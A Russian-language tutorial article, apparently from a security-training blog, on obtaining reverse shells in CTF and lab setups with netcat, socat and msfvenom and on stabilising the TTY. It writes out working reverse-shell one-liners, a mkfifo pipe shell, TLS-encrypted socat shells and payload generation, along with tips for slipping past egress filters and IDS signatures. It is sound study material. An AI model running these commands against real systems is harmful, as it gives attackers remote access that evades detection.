
На HackTheBox и TryHackMe каждая вторая машина из категории Easy заканчивается одинаково: нашёл RCE, запустил однострочник, получил шелл — и через пять секунд он отвалился. Или не отвалился, но Ctrl+C убивает сессию, Tab не работает, а su отказывается принимать пароль. Проблема не в уязвимости и не в пейлоаде. Между «получил выполнение кода» и «работаю в полноценном терминале» лежит набор приёмов, которые ни один чит-шит не объясняет по шагам. Разберём, как поднять reverse shell через netcat и socat, стабилизировать TTY и не терять соединение на учебном стенде.
Перед запуском команд стоит разобраться в разнице между двумя типами шеллов — от этого зависит, какой из них сработает в конкретном сценарии. Подробнее — в нашем обзоре linux для пентестера.
Bind shell — целевая машина открывает порт и ждёт входящего подключения. Атакующий цепляется к этому порту и получает оболочку. Схема простая, но на практике работает редко: файрволы на целевой машине режут входящие соединения на нестандартных портах, а если цель за NAT — до неё вообще не достучаться.
Reverse shell — целевая машина сама инициирует исходящее TCP-соединение к атакующему, на чьей стороне уже крутится listener (слушатель). Файрволы, как правило, свободно пропускают исходящий трафик — именно это свойство корпоративных и домашних файрволов делает reverse shell основным инструментом post-exploitation в CTF и пентестах.
По классификации MITRE ATT&CK запуск шелла через bash или sh — техника Unix Shell (T1059.004, Execution). Само обратное соединение подпадает под Remote Access Tools (T1219, Command and Control), а использование нестандартных портов для listener — Non-Standard Port (T1571, Command and Control).
Место в цепочке атаки: Initial Access (эксплуатация RCE-уязвимости) → Reverse Shell (закрепление, foothold) → TTY-стабилизация → Post-Exploitation (эскалация привилегий, lateral movement, exfiltration). Reverse shell — мост между «нашёл дыру» и «полноценно работаю на машине».
Работает если: целевая машина может инициировать исходящие TCP-соединения на порт listener; на атакующей машине порт не занят другим процессом и не заблокирован файрволом; на целевой есть хотя бы одна утилита или интерпретатор для создания сетевого соединения.
Не работает если: egress-фильтрация блокирует исходящие соединения на все порты кроме 80/443; между атакующим и целью стоит прокси, разрывающий прямое TCP-соединение; на целевой машине нет ни netcat, ни bash с /dev/tcp, ни Python, ни Perl — вообще ничего для открытия сокетов.
Все примеры ниже проверены на двух виртуалках в изолированной сети. Прежде чем повторять команды — подготовьте окружение.
Атакующая машина:
- ОС: Kali Linux 2024.x или Parrot OS (актуальная версия)
- RAM: минимум 2 ГБ, рекомендуется 4 ГБ
- Предустановлены: netcat (nc и ncat из Nmap), socat, msfvenom (часть Metasploit Framework), openssl
- Сеть: статический IP в изолированной подсети (в примерах — 10.10.10.1/24)
Целевая машина: - ОС: любой Linux-дистрибутив (Debian 11+, Ubuntu 20.04+, CentOS Stream 8+) - RAM: минимум 1 ГБ - Минимальное требование: наличие bash. Остальные утилиты (nc, socat, python3) могут отсутствовать — ниже разберём как с этим справляться - Сеть: IP в той же подсети (в примерах — 10.10.10.2/24)
Изоляция: обе машины в host-only или internal network VirtualBox/VMware. Доступ в интернет отключён — чтобы reverse shell случайно не улетел за пределы стенда.
Проверка связности: ping 10.10.10.2 с атакующей и ping 10.10.10.1 с целевой. Если пинг не ходит — убедитесь, что виртуальные сетевые адаптеры обеих машин привязаны к одной сети, и проверьте правила iptables (iptables -L -n).
Netcat (nc) — утилита для чтения и записи данных через TCP- и UDP-соединения. Как справедливо пишут на pentestmonkey.net, netcat — «швейцарский нож» сетевых утилит: сканирование портов, передача файлов, проброс соединений. Но в offensive security его главная роль — listener на стороне атакующего и транспорт для reverse shell.
[Применимо: учебный стенд, CTF, внутренний пентест. Целевая ОС: Linux с bash]
Шаг 1. На атакующей машине запускаем listener: nc -lvnp 4444. Разбор флагов: -l — режим прослушивания (listen), -v — подробный вывод, -n — без DNS-резолвинга (быстрее), -p 4444 — порт. Терминал «зависнет» в ожидании входящего соединения — так и должно быть.
Шаг 2. На целевой машине запускаем обратное соединение: bash -i >& /dev/tcp/10.10.10.1/4444 0>&1. Тут bash -i запускает интерактивную оболочку, >& /dev/tcp/IP/PORT перенаправляет stdout и stderr в TCP-соединение, а 0>&1 перенаправляет stdin туда же. Вместо 10.10.10.1 подставляем IP атакующей машины.
Ожидаемый результат: в терминале атакующего появится строка вида bash-5.2$ или www-data@target:/$. Команды id, whoami, ls работают. Но это «глупый» шелл (dumb shell) — Ctrl+C убьёт соединение, Tab-автодополнение недоступно, su и sudo не смогут запросить пароль.
Работает если: bash на целевой машине скомпилирован с поддержкой /dev/tcp (стандарт для большинства дистрибутивов). Не работает если: команда выполняется через /bin/sh, который на Debian и Ubuntu (начиная с 6.10) — это dash, а у dash поддержки /dev/tcp нет. Решение — явно указать bash: bash -c 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1'.
Классическая ошибка новичков: перепутан IP — вместо адреса атакующей машины подставляют адрес целевой. Вторая по частоте: listener поднят на порту 4444, а в пейлоаде указан 4445. Проверяйте оба значения перед запуском. Серьёзно — я сам на это попадался не раз.
[Применимо: целевая машина с netcat без флага -e. Все современные Linux-дистрибутивы]
На многих системах стоит версия netcat с отключённым флагом -e (GAPING_SECURITY_HOLE — название говорящее). Команда nc -e /bin/sh 10.10.10.1 4444 просто выдаст ошибку. Для этого случая на pentestmonkey.net описан обходной вариант через именованный канал (named pipe):
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.1 4444 > /tmp/f
Разбор: mkfifo /tmp/f создаёт FIFO-файл (именованный канал). Данные от netcat (команды атакующего) записываются в /tmp/f, оттуда их читает cat и передаёт в /bin/sh. Вывод шелла уходит обратно в nc, а nc — в listener атакующего. Замкнутый цикл: ввод атакующего → шелл → вывод атакующему.
Работает если: на целевой машине есть netcat (любой версии) и утилита mkfifo (входит в coreutils, есть практически везде). Не работает если: каталог /tmp смонтирован с флагом noexec или запись запрещена — тогда создавайте pipe в другом каталоге с правами на запись (/dev/shm, домашний каталог текущего пользователя).
Если забыть rm /tmp/f перед mkfifo, а файл /tmp/f уже существует как обычный файл — mkfifo вернёт ошибку. Всегда удаляйте перед созданием.
Получить reverse shell — полдела. Dumb shell критически ограничен: нельзя запускать интерактивные программы (vim, top, mysql, python3 в REPL-режиме), нельзя переключать пользователя через su (нет PTY для интерактивного ввода пароля), Ctrl+C разрывает всю сессию вместо прерывания текущей команды, стрелки вверх/вниз печатают escape-последовательности вместо навигации по истории. На CTF это часто блокирует эскалацию привилегий — например, для privesc нужно ввести пароль в su или отредактировать файл в nano, а терминал не даёт.
Стабилизация TTY (teletype) — процесс превращения dumb shell в полноценный интерактивный терминал с поддержкой всех управляющих символов.
Способ 1: Python pty.spawn (быстрый, но неполный)
На целевой машине выполните python3 -c 'import pty; pty.spawn("/bin/bash")'. Эта команда создаёт псевдотерминал (PTY) и запускает в нём bash. После этого приглашение командной строки становится читаемым, программы вроде su технически смогут запросить пароль (хотя echo может отображать пароль на экране, а обработка сигналов остаётся кривой — для нормальной работы su нужна дополнительная стабилизация через stty, см. Способ 2). Но Tab-автодополнение по-прежнему не работает, стрелки не навигируют по истории, а Ctrl+C остаётся опасным.
Способ 2: Полная стабилизация через stty (рекомендуемый)
Последовательность действий после получения шелла:
# В reverse shell на целевой машине:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Нажимаем Ctrl+Z — шелл уходит в background
# В локальном терминале атакующей машины:
stty raw -echo; fg
# Обратно в reverse shell (уже стабилизированном):
export TERM=xterm
stty rows 38 columns 116
Разбор по шагам. python3 -c 'import pty; pty.spawn("/bin/bash")' создаёт PTY на целевой машине. Ctrl+Z приостанавливает сессию netcat и возвращает управление локальному терминалу. stty raw -echo переводит локальный терминал в raw-режим — все нажатия (Ctrl+C, Tab, стрелки) передаются напрямую в удалённый шелл вместо обработки локально. fg возвращает приостановленный netcat на передний план. export TERM=xterm задаёт тип терминала, чтобы vim и top корректно отображали интерфейс. stty rows 38 columns 116 устанавливает размер терминала — свои значения узнаёте командой stty size в отдельном окне на атакующей машине.
Результат: полноценный интерактивный терминал. Tab дополняет команды и пути, стрелки листают историю, Ctrl+C прерывает текущую команду, а не сессию, su и sudo способны запрашивать пароль (при условии, что sudoers не содержит requiretty-ограничений, специфичных для конкретного дистрибутива).
Работает если: на целевой установлен Python 3 (или Python 2 — замените python3 на python). Не работает если: Python отсутствует. Альтернативы: script -qc /bin/bash /dev/null (утилита script из пакета util-linux есть почти везде) создаёт PTY без Python. Ещё вариант — rlwrap nc -lvnp 4444 на стороне атакующего: rlwrap добавляет поддержку readline (история, автодополнение), но это не полноценный TTY и su по-прежнему не сработает.
Типичная ловушка: после stty raw -echo; fg терминал кажется «сломанным» — набираемые символы не отображаются. Это нормально: echo отключён, символы видны только после обработки удалённым шеллом. Если что-то пошло не так — наберите вслепую reset, нажмите Enter, затем stty sane для восстановления терминала. После завершения работы в стабилизированном шелле (выход из сессии, обрыв соединения) локальный терминал атакующего останется в raw-режиме. Выполните stty sane — иначе будете набирать команды вслепую и думать, что Kali сломалась.
Socat (SOcket CAT) — netcat на стероидах. Поддерживает десятки типов соединений: TCP, UDP, Unix-сокеты, SSL/TLS, PTY и прочее. Главное преимущество socat для reverse shell — встроенная поддержка интерактивного TTY и шифрования трафика без танцев с pty.spawn и stty.
[Применимо: учебный стенд, CTF. Требуется socat на обеих машинах]
На атакующей машине: socat file:$(tty),raw,echo=0 TCP-LISTEN:4444. Тут file:$(tty) указывает на текущий терминал, raw,echo=0 — аналог stty raw -echo, TCP-LISTEN:4444 — listener на порту 4444.
На целевой машине: socat exec:'bash -li',pty,stderr,setsid,sigint,sane TCP:10.10.10.1:4444. Параметры: exec:'bash -li' запускает bash в login-интерактивном режиме, pty создаёт псевдотерминал, stderr перенаправляет поток ошибок, setsid создаёт новую сессию процесса, sigint корректно обрабатывает Ctrl+C, sane устанавливает стандартные параметры терминала.
Результат: полноценный интерактивный шелл с Tab, стрелками, работающим su — без единого дополнительного шага после соединения. Именно поэтому socat часто рекомендуется как предпочтительный инструмент для получения TTY reverse shell.
Работает если: socat установлен на обеих машинах. Не работает если: socat отсутствует на целевой — а это стандартная ситуация, потому что socat не входит в стандартную поставку большинства Linux-дистрибутивов.
Решение — загрузить статически скомпилированный бинарь socat на целевую машину. По классификации MITRE ATT&CK это Ingress Tool Transfer (T1105, Command and Control). На практике: на атакующей машине поднимите HTTP-сервер командой python3 -m http.server 8080 в каталоге, где лежит бинарь socat. На целевой выполните wget http://10.10.10.1:8080/socat -O /tmp/socat && chmod +x /tmp/socat. Статический бинарь socat для Linux x86_64 весит около 400 КБ. Готовые статически собранные бинарники можно найти в открытых репозиториях на GitHub — перед использованием проверяйте контрольные суммы и источник.
[Применимо: CTF с элементами blue team, пентест в сети с IDS/IPS]
Обычный reverse shell передаёт весь трафик в открытом виде — команды и ответы видны при перехвате пакетов через tcpdump или Wireshark. Socat умеет оборачивать соединение в TLS, что, как отмечает Wiz.io, серьёзно затрудняет обнаружение обратного шелла стандартными средствами.
# Атакующая машина — генерация самоподписанного сертификата:
openssl req -newkey rsa:2048 -nodes -keyout rev.key \
-x509 -days 30 -out rev.crt -subj '/CN=localhost'
cat rev.key rev.crt > rev.pem
# Зашифрованный listener:
socat OPENSSL-LISTEN:4443,cert=rev.pem,verify=0,fork \
file:$(tty),raw,echo=0
На целевой машине: socat OPENSSL:10.10.10.1:4443,verify=0 exec:'bash -li',pty,stderr,setsid,sigint,sane. Параметр verify=0 отключает проверку сертификата — для учебного стенда допустимо.
Результат: полноценный TTY reverse shell с TLS-шифрованием. При перехвате пакетов видна только TLS-сессия, содержимое команд недоступно.
Ограничение: TLS-handshake добавляет задержку (доли секунды), а зашифрованный трафик увеличивается в объёме. При нестабильном VPN-соединении (привет, HackTheBox и TryHackMe) это иногда приводит к разрывам. Если соединение сыпется — переключайтесь на незашифрованный socat или netcat.
[Применимо: учебный стенд, CTF. Целевая ОС: Linux x64/x86, ARM]
Когда на целевой машине нет ни netcat, ни socat, ни bash с /dev/tcp, ни Python, ни Perl — остаётся генерация бинарных пейлоадов. Msfvenom — генератор пейлоадов из Metasploit Framework, предустановлен в Kali Linux.
Создание ELF-бинаря с reverse shell для Linux x86_64: msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f elf -o revshell. Параметры: -p — пейлоад, LHOST и LPORT — IP и порт listener, -f elf — формат исполняемого файла Linux, -o revshell — имя выходного файла.
Полученный файл (~200 байт) загружается на целевую машину (через wget, curl или scp), делается исполняемым командой chmod +x revshell и запускается. На стороне атакующего достаточно nc -lvnp 4444.
Для генерации однострочников на скриптовых языках msfvenom тоже подходит. Команда msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.1 LPORT=4444 -f raw выдаёт Python-однострочник, готовый для вставки в RCE-уязвимость. Без -f raw вывод может содержать служебные строки msfvenom (предупреждения о платформе/архитектуре), которые нужно убрать перед использованием. Аналогично для PHP, Perl и других языков — полный список пейлоадов доступен через msfvenom --list payloads | grep reverse.
Работает если: архитектура пейлоада совпадает с архитектурой целевой машины (x64-пейлоад на x64-системе). Не работает если: целевая система другой архитектуры (ARM, MIPS — типично для IoT и роутеров), или антивирус/EDR детектирует бинарь. Тут надо честно сказать: msfvenom-пейлоады без обфускации палятся практически всеми средствами защиты. Для CTF это не проблема, для реального пентеста — придётся заморочиться с кастомными пейлоадами.
| Критерий | Netcat (nc) | Socat |
|---|---|---|
| Доступность на целевой машине | Часто предустановлен или есть аналог | Редко, нужно загружать (~400 КБ) |
| TTY из коробки | Нет, требует ручной стабилизации | Да, параметр pty |
| Шифрование трафика | Нет | Да, встроенный SSL/TLS |
| Синтаксис | Простой, запоминается за час | Сложный, нужна шпаргалка |
| Обработка Ctrl+C | Убивает сессию (без TTY) | Корректно перехватывает (с sigint) |
| Передача файлов | Да, простейший перенос | Да, с дополнительными опциями |
| Лучший сценарий | Первый шелл, быстрый доступ, CTF Easy | Стабильный TTY, шифрование, CTF Medium+ |
Когда netcat достаточно: начальный доступ на CTF-машине, быстрая проверка RCE, простая передача файлов между машинами, ситуации когда на целевой есть Python для стабилизации TTY.
Когда нужен socat: требуется полноценный TTY без ручной стабилизации (запуск vim, interactive python, работа с su), нужно шифрование трафика, или на целевой отсутствуют Python и script для стабилизации netcat-шелла.
На практике я начинаю с netcat — он есть почти везде, и для первого foothold его хватает за глаза. Socat подтягиваю, когда нужно плотно работать на машине: редактировать файлы, запускать скрипты привэска, переключать пользователей.
Reverse shell — не серебряная пуля. Ниже — конкретные ситуации, в которых стандартные подходы ломаются, и что с этим делать.
Egress-фильтрация. Файрвол на целевой машине блокирует все исходящие соединения кроме HTTP/HTTPS (порты 80 и 443). Reverse shell на порт 4444 просто не пройдёт. Обход: используйте порт 443 для listener (nc -lvnp 443 — потребуются права root на атакующей) или организуйте туннелирование через HTTP. По MITRE ATT&CK это Protocol Tunneling (T1572, Command and Control) — техника продвинутого уровня, выходящая за рамки этой статьи.
Отсутствие утилит. На минимальных Docker-контейнерах и hardened-системах может не быть ни netcat, ни Python, ни socat — только busybox или dash. Проверьте наличие альтернативных интерпретаторов: Perl, Ruby, PHP (особенно вероятен на веб-серверах). GTFOBins (gtfobins.github.io) содержит документацию по Unix-утилитам с вариантами получения shell и повышения привилегий для каждой. Генератор revshells.com позволяет быстро подобрать однострочник под доступный интерпретатор.
NAT без проброса портов. Атакующая машина за домашним роутером — listener на 10.10.10.1:4444 недоступен из внешней сети. На CTF-платформах эта проблема решается VPN-туннелем (HackTheBox выдаёт .ovpn файл, через который атакующий получает IP в подсети лаборатории). Альтернатива для других сценариев — утилита ngrok: команда ngrok tcp 4444 создаёт публичный адрес вида 0.tcp.ngrok.io:12345, который можно использовать в пейлоаде вместо локального IP.
IDS/IPS-детектирование. Reverse shell через netcat передаёт данные в открытом виде. IDS-системы (Snort, Suricata) содержат сигнатуры для типовых reverse shell-строк: /bin/sh, /bin/bash, перенаправления через /dev/tcp. На учебном стенде без средств мониторинга это не проблема. На CTF с элементами blue team — используйте socat с шифрованием или пробуйте менее очевидные интерпретаторы (Ruby, Perl), чьи пейлоады реже покрываются стандартными сигнатурами.
Нестабильное VPN-соединение. При работе через HackTheBox/TryHackMe VPN может разрываться. Если шелл отвалился — listener на атакующей нужно перезапустить перед повторным подключением. Перед критическими действиями (запуск привэска, модификация файлов) убедитесь, что сессия стабильна — выполните пару тестовых команд (id, pwd) и проверьте, что ответ приходит без задержек.
По моему опыту, абсолютное большинство неудач с reverse shell у новичков сводятся к трём вещам: неправильный IP в однострочнике (вместо адреса атакующей подставляют адрес целевой), несовпадение портов (listener на 4444, в пейлоаде 4445), и попытка использовать /dev/tcp в dash вместо bash. Первые два решаются тройной проверкой перед запуском. Третье — явным указанием интерпретатора: bash -c 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1'.
Есть вещь, которую мало кто проговаривает вслух: навык быстрого получения стабильного шелла — это не разовое знание, а мышечная память. На соревнованиях CTF счёт идёт на минуты, и тратить десять из них на поиск однострочника в Google — непозволительная роскошь. Подготовьте шпаргалку из пяти-шести пейлоадов (bash, python, mkfifo+nc, socat, msfvenom), запишите последовательность стабилизации TTY и отрепетируйте на стенде до автоматизма. Три-четыре вечера на виртуалках — и руки запомнят последовательность лучше любого чит-шита. Если хочется не просто зазубривать команды, а разобраться в фундаменте — от сетей и Linux до первых практических задач в ИБ — IB Basics на codeby.school закрывает этот фундамент за пару месяцев, без академического тона.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...